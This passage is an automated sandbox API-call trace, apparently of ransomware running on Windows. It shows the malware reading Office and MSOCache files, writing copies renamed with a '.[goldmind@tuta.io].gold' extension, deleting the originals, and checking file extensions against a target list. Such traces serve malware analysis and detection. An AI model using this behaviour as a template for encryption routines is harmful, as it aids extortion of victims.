lpOverlapped=0x0) returned 1 [0055.217] WriteFile (in: hFile=0x23c, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xea, lpOverlapped=0x0) returned 1 [0055.217] SetEndOfFile (hFile=0x23c) returned 1 [0055.217] CloseHandle (hObject=0x23c) returned 1 [0055.218] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0055.218] SetEndOfFile (hFile=0x238) returned 1 [0055.220] CloseHandle (hObject=0x238) returned 1 [0055.220] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0055.220] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll")) returned 1 [0055.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL") returned 67 [0055.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL") returned 67 [0055.221] lstrlenW (lpString=".doc") returned 4 [0055.221] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0055.221] lstrlenW (lpString=".docx") returned 5 [0055.221] lstrcmpiW (lpString1=".docx", lpString2="V.DLL") returned -1 [0055.221] lstrlenW (lpString=".pdf") returned 4 [0055.221] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0055.221] lstrlenW (lpString=".xls") returned 4 [0055.221] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0055.221] lstrlenW (lpString=".xlsx") returned 5 [0055.221] lstrcmpiW (lpString1=".xlsx", lpString2="V.DLL") returned -1 [0055.221] lstrlenW (lpString=".ppt") returned 4 [0055.221] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0055.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL") returned 67 [0055.221] lstrlenW (lpString=".zip") returned 4 [0055.221] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0055.221] lstrlenW (lpString=".rar") returned 4 [0055.221] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0055.221] lstrlenW (lpString=".bz2") returned 4 [0055.221] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0055.221] lstrlenW (lpString=".7z") returned 3 [0055.221] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0055.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL") returned 67 [0055.221] lstrlenW (lpString=".dbf") returned 4 [0055.221] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0055.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL") returned 67 [0055.221] lstrlenW (lpString=".1cd") returned 4 [0055.221] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0055.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL") returned 67 [0055.221] lstrlenW (lpString=".jpg") returned 4 [0055.221] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0055.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL") returned 67 [0055.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL") returned 67 [0055.221] lstrlenW (lpString=".doc") returned 4 [0055.221] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0055.221] lstrlenW (lpString=".docx") returned 5 [0055.221] lstrcmpiW (lpString1=".docx", lpString2="V.DLL") returned -1 [0055.221] lstrlenW (lpString=".pdf") returned 4 [0055.221] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0055.221] lstrlenW (lpString=".xls") returned 4 [0055.221] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0055.221] lstrlenW (lpString=".xlsx") returned 5 [0055.221] lstrcmpiW (lpString1=".xlsx", lpString2="V.DLL") returned -1 [0055.221] lstrlenW (lpString=".ppt") returned 4 [0055.221] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0055.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL") returned 67 [0055.222] lstrlenW (lpString=".zip") returned 4 [0055.222] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0055.222] lstrlenW (lpString=".rar") returned 4 [0055.222] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0055.222] lstrlenW (lpString=".bz2") returned 4 [0055.222] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0055.222] lstrlenW (lpString=".7z") returned 3 [0055.222] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0055.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL") returned 67 [0055.222] lstrlenW (lpString=".dbf") returned 4 [0055.222] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0055.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL") returned 67 [0055.222] lstrlenW (lpString=".1cd") returned 4 [0055.222] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0055.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL") returned 67 [0055.222] lstrlenW (lpString=".jpg") returned 4 [0055.222] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0055.222] lstrcmpiW (lpString1=".ODF", lpString2=".gold") returned 1 [0055.222] lstrlenW (lpString="OFFICE.ODF") returned 10 [0055.222] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0055.222] GetFileSizeEx (in: hFile=0x238, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=4297568) returned 1 [0055.222] CloseHandle (hObject=0x238) returned 1 [0055.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf")) returned 0x20 [0055.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0055.223] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf.id-9c354b42.[goldmind@tuta.io].gold")) returned 1 [0055.223] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.223] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0055.223] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf.id-9c354b42.[goldmind@tuta.io].gold"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf")) returned 1 [0055.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF") returned 75 [0055.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF") returned 75 [0055.224] lstrlenW (lpString=".doc") returned 4 [0055.224] lstrcmpiW (lpString1=".doc", lpString2=".ODF") returned -1 [0055.224] lstrlenW (lpString=".docx") returned 5 [0055.224] lstrcmpiW (lpString1=".docx", lpString2="E.ODF") returned -1 [0055.224] lstrlenW (lpString=".pdf") returned 4 [0055.224] lstrcmpiW (lpString1=".pdf", lpString2=".ODF") returned 1 [0055.224] lstrlenW (lpString=".xls") returned 4 [0055.224] lstrcmpiW (lpString1=".xls", lpString2=".ODF") returned 1 [0055.224] lstrlenW (lpString=".xlsx") returned 5 [0055.224] lstrcmpiW (lpString1=".xlsx", lpString2="E.ODF") returned -1 [0055.224] lstrlenW (lpString=".ppt") returned 4 [0055.224] lstrcmpiW (lpString1=".ppt", lpString2=".ODF") returned 1 [0055.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF") returned 75 [0055.224] lstrlenW (lpString=".zip") returned 4 [0055.224] lstrcmpiW (lpString1=".zip", lpString2=".ODF") returned 1 [0055.224] lstrlenW (lpString=".rar") returned 4 [0055.224] lstrcmpiW (lpString1=".rar", lpString2=".ODF") returned 1 [0055.224] lstrlenW (lpString=".bz2") returned 4 [0055.224] lstrcmpiW (lpString1=".bz2", lpString2=".ODF") returned -1 [0055.224] lstrlenW (lpString=".7z") returned 3 [0055.224] lstrcmpiW (lpString1=".7z", lpString2="ODF") returned -1 [0055.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF") returned 75 [0055.224] lstrlenW (lpString=".dbf") returned 4 [0055.224] lstrcmpiW (lpString1=".dbf", lpString2=".ODF") returned -1 [0055.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF") returned 75 [0055.224] lstrlenW (lpString=".1cd") returned 4 [0055.224] lstrcmpiW (lpString1=".1cd", lpString2=".ODF") returned -1 [0055.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF") returned 75 [0055.224] lstrlenW (lpString=".jpg") returned 4 [0055.224] lstrcmpiW (lpString1=".jpg", lpString2=".ODF") returned -1 [0055.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF") returned 75 [0055.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF") returned 75 [0055.224] lstrlenW (lpString=".doc") returned 4 [0055.224] lstrcmpiW (lpString1=".doc", lpString2=".ODF") returned -1 [0055.224] lstrlenW (lpString=".docx") returned 5 [0055.224] lstrcmpiW (lpString1=".docx", lpString2="E.ODF") returned -1 [0055.224] lstrlenW (lpString=".pdf") returned 4 [0055.224] lstrcmpiW (lpString1=".pdf", lpString2=".ODF") returned 1 [0055.225] lstrlenW (lpString=".xls") returned 4 [0055.225] lstrcmpiW (lpString1=".xls", lpString2=".ODF") returned 1 [0055.225] lstrlenW (lpString=".xlsx") returned 5 [0055.225] lstrcmpiW (lpString1=".xlsx", lpString2="E.ODF") returned -1 [0055.225] lstrlenW (lpString=".ppt") returned 4 [0055.225] lstrcmpiW (lpString1=".ppt", lpString2=".ODF") returned 1 [0055.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF") returned 75 [0055.225] lstrlenW (lpString=".zip") returned 4 [0055.225] lstrcmpiW (lpString1=".zip", lpString2=".ODF") returned 1 [0055.225] lstrlenW (lpString=".rar") returned 4 [0055.225] lstrcmpiW (lpString1=".rar", lpString2=".ODF") returned 1 [0055.225] lstrlenW (lpString=".bz2") returned 4 [0055.225] lstrcmpiW (lpString1=".bz2", lpString2=".ODF") returned -1 [0055.225] lstrlenW (lpString=".7z") returned 3 [0055.225] lstrcmpiW (lpString1=".7z", lpString2="ODF") returned -1 [0055.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF") returned 75 [0055.225] lstrlenW (lpString=".dbf") returned 4 [0055.225] lstrcmpiW (lpString1=".dbf", lpString2=".ODF") returned -1 [0055.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF") returned 75 [0055.225] lstrlenW (lpString=".1cd") returned 4 [0055.225] lstrcmpiW (lpString1=".1cd", lpString2=".ODF") returned -1 [0055.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF") returned 75 [0055.225] lstrlenW (lpString=".jpg") returned 4 [0055.225] lstrcmpiW (lpString1=".jpg", lpString2=".ODF") returned -1 [0055.225] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0055.225] lstrlenW (lpString="EXPSRV.DLL") returned 10 [0055.225] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\expsrv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0055.226] GetFileSizeEx (in: hFile=0x238, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=518984) returned 1 [0055.226] CloseHandle (hObject=0x238) returned 1 [0055.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\expsrv.dll")) returned 0x20 [0055.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\expsrv.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0055.226] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\expsrv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0055.226] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0055.226] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0055.226] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\expsrv.dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0055.226] GetLastError () returned 0x0 [0055.226] ReadFile (in: hFile=0x238, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x7eb48, lpOverlapped=0x0) returned 1 [0055.240] WriteFile (in: hFile=0x23c, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0x7eb50, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0x7eb50, lpOverlapped=0x0) returned 1 [0055.555] ReadFile (in: hFile=0x238, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x0, lpOverlapped=0x0) returned 1 [0055.555] WriteFile (in: hFile=0x23c, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xe8, lpOverlapped=0x0) returned 1 [0055.555] SetEndOfFile (hFile=0x23c) returned 1 [0055.680] CloseHandle (hObject=0x23c) returned 1 [0055.680] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0055.680] SetEndOfFile (hFile=0x238) returned 1 [0055.709] CloseHandle (hObject=0x238) returned 1 [0055.709] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0055.709] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\expsrv.dll")) returned 1 [0056.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL") returned 66 [0056.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL") returned 66 [0056.485] lstrlenW (lpString=".doc") returned 4 [0056.485] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0056.485] lstrlenW (lpString=".docx") returned 5 [0056.485] lstrcmpiW (lpString1=".docx", lpString2="V.DLL") returned -1 [0056.485] lstrlenW (lpString=".pdf") returned 4 [0056.485] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0056.485] lstrlenW (lpString=".xls") returned 4 [0056.485] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0056.485] lstrlenW (lpString=".xlsx") returned 5 [0056.485] lstrcmpiW (lpString1=".xlsx", lpString2="V.DLL") returned -1 [0056.485] lstrlenW (lpString=".ppt") returned 4 [0056.485] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0056.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL") returned 66 [0056.485] lstrlenW (lpString=".zip") returned 4 [0056.485] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0056.485] lstrlenW (lpString=".rar") returned 4 [0056.485] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0056.485] lstrlenW (lpString=".bz2") returned 4 [0056.485] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0056.485] lstrlenW (lpString=".7z") returned 3 [0056.485] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0056.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL") returned 66 [0056.485] lstrlenW (lpString=".dbf") returned 4 [0056.485] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0056.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL") returned 66 [0056.485] lstrlenW (lpString=".1cd") returned 4 [0056.485] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0056.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL") returned 66 [0056.485] lstrlenW (lpString=".jpg") returned 4 [0056.485] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0056.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL") returned 66 [0056.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL") returned 66 [0056.485] lstrlenW (lpString=".doc") returned 4 [0056.485] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0056.485] lstrlenW (lpString=".docx") returned 5 [0056.485] lstrcmpiW (lpString1=".docx", lpString2="V.DLL") returned -1 [0056.485] lstrlenW (lpString=".pdf") returned 4 [0056.485] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0056.485] lstrlenW (lpString=".xls") returned 4 [0056.485] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0056.485] lstrlenW (lpString=".xlsx") returned 5 [0056.485] lstrcmpiW (lpString1=".xlsx", lpString2="V.DLL") returned -1 [0056.486] lstrlenW (lpString=".ppt") returned 4 [0056.486] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0056.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL") returned 66 [0056.486] lstrlenW (lpString=".zip") returned 4 [0056.486] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0056.486] lstrlenW (lpString=".rar") returned 4 [0056.486] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0056.486] lstrlenW (lpString=".bz2") returned 4 [0056.486] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0056.486] lstrlenW (lpString=".7z") returned 3 [0056.486] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0056.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL") returned 66 [0056.486] lstrlenW (lpString=".dbf") returned 4 [0056.486] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0056.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL") returned 66 [0056.486] lstrlenW (lpString=".1cd") returned 4 [0056.486] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0056.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL") returned 66 [0056.486] lstrlenW (lpString=".jpg") returned 4 [0056.486] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0056.486] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0056.486] lstrlenW (lpString="EXP_XPS.DLL") returned 11 [0056.486] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_xps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 14 os_tid = 0x7b8 [0033.895] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10000) returned 0x3870260 [0033.896] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10000) returned 0x3880268 [0033.896] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d0398 [0033.896] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x6) returned 0x8d30b8 [0033.896] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d03b0 [0033.896] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x100000) returned 0x3a70020 [0033.896] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d03c8 [0033.896] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8d03c8, Size=0x20) returned 0x8ff910 [0033.896] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d03c8 [0033.896] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8d03c8, Size=0x20) returned 0x8ff938 [0033.896] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76ac0000 [0033.897] GetProcAddress (hModule=0x76ac0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76aed650 [0033.897] Wow64DisableWow64FsRedirection (in: OldValue=0x2eeff58 | out: OldValue=0x2eeff58*=0x0) returned 1 [0033.897] lstrlenW (lpString="kernel32.dll") returned 12 [0033.897] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8ff910 | out: hHeap=0x880000) returned 1 [0033.897] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0033.897] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8ff938 | out: hHeap=0x880000) returned 1 [0033.897] Sleep (dwMilliseconds=0x64) [0034.538] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0034.538] lstrlenW (lpString="Setup.xml") returned 9 [0034.538] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0034.539] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=2296) returned 1 [0034.539] CloseHandle (hObject=0x180) returned 1 [0034.539] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0034.539] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0034.539] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0034.539] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0034.539] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0034.539] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0034.539] GetLastError () returned 0x0 [0034.539] ReadFile (in: hFile=0x180, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x8f8, lpOverlapped=0x0) returned 1 [0034.549] WriteFile (in: hFile=0x184, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x900, lpOverlapped=0x0) returned 1 [0034.549] ReadFile 